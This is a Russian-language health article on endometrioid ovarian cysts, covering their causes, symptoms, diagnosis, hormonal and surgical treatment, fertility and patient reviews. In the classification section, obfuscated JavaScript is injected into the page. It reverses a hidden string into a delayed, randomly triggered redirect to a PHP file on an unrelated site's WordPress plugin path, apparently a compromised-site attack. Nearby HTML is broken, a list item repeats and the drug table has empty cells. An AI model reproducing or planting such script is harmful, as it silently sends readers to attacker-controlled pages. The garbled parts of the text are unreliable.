Гинекологические заболевания в настоящее время приобретают большую распространённость. Воспалительные болезни матки и яичников, различные виды кист и опухолей чаще становятся причинами хронического бесплодия. Определённый вклад в эту проблему вносят венерические заболевания: гонорея, сифилис, микоплазмоз. Некоторым особняком среди всех болезней, вызывающих бесплодие, стоит эндометриоз. Одним из самых частых его проявлений является эндометриоидная киста яичника.
Содержание
Предпосылки для развития эндометриоидных кист
Женская репродуктивная система продумана и создана природой с потрясающей оригинальностью. Колыбель новой жизни — небольшой орган под названием яичник. Здесь располагается большое количество незрелых яйцеклеток. У каждой из них есть индивидуальное жилище — фолликул. Раз в месяц у одной из них появляется шанс стать началом новой жизни. Местом встречи яйцеклетки и сперматозоида является маточная труба. Этот небольшой орган нежно захватывает вышедшую из фолликула яйцеклетку. После оплодотворения труба так же нежно сопроводит растущий зародыш к его дому на ближайшие сорок недель — матке.
Матка — полый орган, который предназначен для вынашивания ребёнка. Домом для зародыша станет внутренний слой матки — эндометрий. Его железы в большом количестве производят слизь, облегчая путешествие зародыша по матке. Раз в месяц эндометрий обновляется. Начало этого процесса сопровождается кровотечением (менструация). Овуляцией и менструальным циклом управляют два вида биологически активных веществ — гормонов. Первые вырабатываются в центральном эндокринном органе — гипофизе: фолликулостимулирующий и лютеинизирующий. Вторые производит яичник — эстрогены и прогестерон.
Эндометриоидная киста яичника — одно из проявлений специфического женского недуга эндометриоза. Болезнь чаще всего поражает молодых женщин, вступивших в репродуктивный возраст (20 — 40 лет). В период естественного угасания детородной функции количество заболевших резко снижается. Среди всех гинекологических недугов он встречается в шести — восьми процентах случаев.
Классификация
Эндометриоидные кисты яичника делятся на несколько разновидностей:
- По характеру расположения кисты подразделяются на несколько видов:
- поражающие только один яичник (односторонние);
- располагающиеся в обоих органах (двусторонние).
- Кисты могут сочетаться с поражением других органов:
- матки, шейки матки, маточных труб (генитальный эндометриоз);
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/07/endometriy-kartina-pod-mikroskopom-728×546.jpg» alt=»Эндометрий (картина под микроскопом)» width=»728″ height=»546″ /> Источником эндометриоидных кист является внутренний слой матки — эндометрий
- мочевого пузыря, кишечника, лёгких (экстрагенитальный эндометриоз).
- матки, шейки матки, маточных труб (генитальный эндометриоз);
- По типу строения эндометриоидные кисты подразделяются на несколько видов:
- железистый. В таких кистах много железистой ткани, аналогичной таковой во внутреннем слое матки;
- кистозный. В этом случае в структуре кисты преобладают полости, заполненные бурой массой;
- железисто-кистозный. Этот тип кисты сочетает в себе черты двух предыдущих;
- стромальный. В составе этого типа кисты преобладает соединительная ткань.
Причины и факторы развития
Эндометриоидная киста существенно отличается от других доброкачественных образований яичника. Источник заболевания — клетки эндометрия. В норме он существует исключительно во внутреннем слое матки. Эндометрий чувствителен к влиянию эстрогенов и прогестерона. Его клетки обладают потрясающей способностью к восстановлению. Раз в месяц эндометрий отторгается и вырастает заново.
Причины возникновения эндометриоидных кист до сих пор неизвестны. Существует несколько гипотез, объясняющих механизм появления клеток эндометрия в яичнике. В первом случае рассматривается возможность попадания менструальных выделений не только наружу через шейку матки и влагалище, но и внутрь брюшной полости через отверстия маточных труб. Вторая гипотеза объясняет возникновение кист нарушением развития органов и тканей в период нахождения ребёнка в утробе матери. В результате клетки эндометрия появляются за пределами матки в яичниках. В третьем случае рассматривается механизм превращения в эндометриоидные нормальных клеток кровеносных и лимфатических сосудов, а также брюшины — прочной оболочки, покрывающей снаружи кишечник и другие органы живота.
Клетки эндометрия, переместившиеся в яичник, многие черты роднят со злокачественными опухолями: способность прорастать соседние органы, распространяться из матки по кровеносным и лимфатическим сосудам, давать вторичные очаги роста. Однако существует серьёзное отличие: клетки эндометрия, где бы они ни находились, по внешнему виду и своим свойствам абсолютно схожи между собой. Злокачественные же клетки настолько отличаются от нормальных, что зачастую трудно определить их конкретный источник.
Существенную роль в образовании эндометриоидных кист играют гормональные расстройства. Клетки эндометрия возникают в яичнике во многом под влиянием избытка некоторых гормонов:
- фолликулостимулирующего (ФСГ), вызывающего рост фолликулов и созревание яйцеклеток;
- лютеинизирующего (ЛГ), вызывающего овуляцию;
- эстрогенов, способствующих росту эндометрия;
- пролактина, играющего большую роль в выделении грудного молока;
- мужских половых гормонов, вырабатывающихся в организме каждой женщины в небольших эндокринных железах надпочечниках.
Эндометриоидные кисты в первую очередь появляются в корковом слое яичника среди фолликулов с незрелыми яйцеклетками. Распространённый процесс характеризуется наличием очагов в центре органа, содержащего соединительную ткань и сосуды. Размеры типичного очага 5–10 миллиметров. Внутри содержится бурая масса, схожая с кровянистыми менструальными выделениями. Элементы склонны сливаться между собой, образуя настоящие кисты, ограниченные стенками из соединительной ткани (так называемые «шоколадные» кисты).
Киста яичника — видео
Симптомы и признаки
Во многих случаях эндометриоидные кисты яичников могут длительное время протекать бессимптомно. Распространённый процесс приводит к появлению следующих признаков неблагополучия в женской репродуктивной системе:
- тупым ноющим болям внизу живота, усиливающимся при занятиях спортом;
- болезненным менструальным кровотечениям;
- болезненному мочеиспусканию и дефекации;
- болям при половом акте;
- неспособности зачать и выносить ребёнка.
Методы установления диагноза
Диагностика эндометриоидных кист яичников — задача для опытного специалиста-гинеколога. Подозрение на наличие кист — повод для проведения полноценного обследования. Оно включает себя как классические методы, так и самые современные:
- гинекологический осмотр проводится в обязательном порядке при подозрении на наличие кисты. Специалист через переднюю брюшную стенку может прощупать кисты больших размеров. Небольшие образования требуют более детального обследования;
- анализ крови на уровень гормонов — важный метод диагностики. Выявленные изменения помогут специалисту верно выбрать тактику лечения заболевания и назначить соответствующие лекарственные препараты для коррекции гормонального фона;
- анализ крови на онкомаркеры. Это вещества белковой природы, количество которых достоверно повышается на фоне заболевания;
- ультразвук — информативный и безопасный метод диагностики. Подходит для выявления эндометриоидных кист больших размеров. Изображение в допплеровском режиме позволяет увидеть разветвлённую сеть сосудов, которыми богаты кисты;
- томография (КТ, МРТ) – самый современный и высокотехнологичный способ заглянуть внутрь организма. В первом случае для получения изображений используется рентгеновское облучение, во втором — явление ядерно-магнитного резонанса. Качественные снимки позволят врачу оценить размеры матки и яичников, размеры кист и их расположение;
- лапароскопия — современный метод диагностики заболеваний внутренних органов. Несколько проколов, специальный инструмент и миниатюрная видеокамера позволяют специалисту отчётливо увидеть даже небольшие очаги.
Методы лечения
Лечение эндометриоидных кист проводит специалист-гинеколог. Самостоятельно подобные образоывания не исчезают. В зависимости от ситуации используется лекарственная терапия, операции либо сочетание этих методов. Тактика избирается врачом индивидуально с учётом всех особенностей заболевания.
Лекарственная терапия
Для лечения эндометриоидной кисты применяется ряд гормональных препаратов. Специалист преследует цель создать в организме условия, при которых сокращается рост патологических очагов. Гормональные лекарства блокируют овуляцию, циклические ежемесячные изменения в репродуктивной системе, снижают уровень эстрогенов. Подобное состояние гормонального фона характерно для постменопаузы. При лечении эндометриоидных кист она создаётся искусственно. Однако, в отличие от постменопаузы, эти изменения обратимы. Для достижения эффекта препараты принимаются в течение нескольких месяцев.
Гормональные лекарства для лечения эндометриоидных кист — таблица
| Фармакологическая группа | Действующее вещество | Механизм влияния на эндометриоидные кисты | Примеры лекарственных препаратов |
| Прогестагены | Прогестерон |
|
|
| Эстроген-гестагенные препараты |
|
|
|
| Агонисты гонадолиберин-релизинг факторов |
|
Прекращение выработки ЛГ и ФСГ в гипофизе |
|
| Антагонисты эстрогенов | Гестринон |
|
Неместран |
При выраженном болевом синдроме назначаются нестероидные противовоспалительные препараты (НПВС):
- Нимесулид;
- Найз;
- Диклофенак;
- Вольтарен;
- Мелоксикам;
- Целебрекс.
Препараты для лечения эндометриоидных кист — фотогалерея
-
- Яичники — часть женской репродуктивной системы
-
- Менструальным циклом управляют гормоны
-
- Источником эндометриоидных кист является внутренний слой матки — эндометрий
-
- Функциональный слой эндометрия обновляется каждый месяц
-
- Эндометриоз поражает множество органов
-
- Эндометриоидные кисты появляются в яичнике между фолликулами
-
- УЗИ — ценный метод диагностики эндометриоидных кист
-
- Утрожестан содержит прогестерон
-
- Регулон — комбинированный контрацептивный препарат
-
- Жанин используется для лечения эндометриоидных кист яичника
-
- Золадекс содержит действующее вещество гозерелин
-
- Неместран содержит гестринон
-
- Нимесулид относится к группе обезболивающих и противовоспалительных препаратов
-
- Вольтарен содержит действующее вещество диклофенак
-
- Целебрекс в качестве действующего агента содержит целекоксиб
-
- Лапароскопия — современный метод лечения эндометриоидных кист
-
- Во время беременности существенно снижается количество эстрогенов и повышается уровень прогестерона
Хирургический метод
Хирургическое лечение эндометриоидных кист в настоящее время — территория использования новых медицинских технологий. Удаление патологических очагов из яичников происходит с применением лапароскопии. Этот метод хирургического вмешательства отличается малой травматичностью, отсутствием больших разрезов, максимально коротким восстановительным периодом. Доступ к яичнику осуществляется через несколько проколов передней брюшной стенки. Для контроля за манипуляциями на телеэкран подаётся изображение с видеокамеры, закреплённой на специальном инструменте. Для женщин репродуктивного возраста предусмотрено щадящее лечение с сохранением здоровой ткани яичника. В тяжёлых случаях производится удаление придатков матки (яичника, маточной трубы). После проведённого вмешательства больших шрамов на теле не остаётся. После короткого послеоперационного наблюдения пациентка выписывается домой. В первый месяц необходимо ограничить уровень физической нагрузки. Планирование беременности после операции необходимо согласовать с лечащим врачом.
Эндометриоидная киста яичника — серьёзное заболевание. Народные методы в этом случае не применяются, поскольку не доказали свою эффективность.
Эндометриоидная киста яичника и беременность
Бесплодие — настоящая проблема для женщин, страдающих эндометриоидными кистами яичников. Невозможность зачать и выносить ребёнка наблюдается в половине всех случаев заболевания. Причина — гормональные нарушения в совокупности с повреждением фолликулов, содержащих яйцеклетки. Однако в 30–40% случаев наступление беременности возможно. Кроме того, вынашивание ребёнка, роды и грудное вскармливание изменяют гормональный фон так, что болезни приходится отступить. После проведённого лечения шанс забеременеть появляется у половины заболевших женщин репродуктивного возраста.
Осложнения и прогноз
Прогноз лечения эндометриоидной кисты определяется индивидуально. Гормональное лечение позволяет сократить размер очагов и приостановить патологический процесс. Однако полностью избавиться от них позволит только хирургическое вмешательство. Самым серьёзным осложнением является рецидив эндометриоидной кисты. Такой сценарий наблюдается в почти половине случаев.
Профилактика
Профилактика образования эндометриоидных кист яичника — важная часть образа жизни любой женщины. Необходимо соблюдать следующие рекомендации:
- использовать врачом прописанные контрацептивные препараты;
- вести здоровый образ жизни;
- обращаться к врачу при любых признаках неблагополучия в женской репродуктивной системе;
- избегать нахождения под палящим солнцем, в горячей бане и сауне.
Отзывы
Планировали в прошлом году с мужем ребёночка. Не получалось. Выяснилось, что у меня эндометриоидная киста 9 см, эндометриоз и куча его очагов. Прошла противовоспалительный курс месяц и вот в феврале этого года сделали лапароскопию. Убрали кисту, все очаги почистили. Прогнозы вроде хорошие были. Прописали Бусерелин, колола его 3 месяца. Иду в следующую пятницу на УЗИ.
У меня эндометриоидные кисты обоих яичников + возможно спайки. Фолликулы каждый месяц созревают, но не лопаются. Назначили лапароскопию. Врач говорит о том, что после неё нужно делать Деферелин уколы 3 месяца.
Мне прописали Визанну, у меня кист две, но небольшие, на обоих яичниках, третий месяц допью и посмотрим на результаты. После гормонального лечения мне гинеколог посоветовал в течение полугода беременеть (за три месяца обычно восстанавливается цикл).
Эндометриоидная киста яичника — серьёзный диагноз. Болезнь склонна распространяться на другие органы. При отсутствии адекватного лечения патология приводит к бесплодию, хроническим болезненным ощущениям и расстройству гормонального фона. Своевременное назначение лекарств и проведение операций существенно повысят шансы на выздоровление.
